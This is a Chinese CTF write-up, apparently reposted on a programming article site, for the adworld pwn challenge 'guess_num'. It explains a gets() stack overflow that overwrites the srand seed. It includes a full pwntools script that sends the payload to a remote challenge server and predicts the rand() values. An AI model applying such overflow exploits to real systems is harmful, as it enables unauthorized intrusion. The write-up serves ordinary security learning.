欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

adworld-pwn-guess_num

程序员文章站 2022-05-19 10:01:35
...

本题考查知识点

  • srand()函数和rand()函数的随机数生成规则
  • gets()函数漏洞 – 实现栈溢出

check_sec
adworld-pwn-guess_num
扔到IDA分析代码逻辑
adworld-pwn-guess_num

srand()函数和rand()函数
前者设置随机种子,后者产生随机数
设置随机种子之后,随机数是循环产生的

adworld-pwn-guess_num

从上图中可以看到v8和seed之间的位置关系,而v8是通过gets()函数输入的,我们可以通过栈溢出,从而达到设置seed的目的

  • v8 占用0x20个字节
  • seed 占用8个字节

所以我们构造下面的payload即可设置seed为0

payload = 'a' * 0x20 + p64(0)

确定了seed为0,如何循环产生相应的随机数呢?

该文件为 elf 文件
我们可以通过 pwntools 的ELF来看该程序运行时所加载的.so文件
从而将lib库导入进来,使用其rand()函数来生成随机数

from pwn import *

elf = ELF('./guess_num')
libc = elf.libc

adworld-pwn-guess_num

可以知道该程序加载了libc-2.31.so文件
那么我们可以使用python的ctypes库中的cdll函数来加载该文件

from pwn import *
from ctypes import *


io = remote('220.249.52.133', 46272)

# elf = ELF('./guess_num')
# libc = elf.libc

libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc-2.31.so")

payload = bytes('a' * 0x20, encoding='utf8') + p64(0)
io.sendlineafter('Your name:', payload)
libc.srand(0)
for i in range(10):
    msg = str(libc.rand() % 6 + 1)
    io.sendlineafter('Please input your guess number:', msg)
io.interactive()

当然还有一种解法就是
写一份代码,其seed为0,然后生成10个随机数
用gcc编译,运行可以得到10个随机数
最后将这10个随机数依此输入就OK了

相关标签: pwn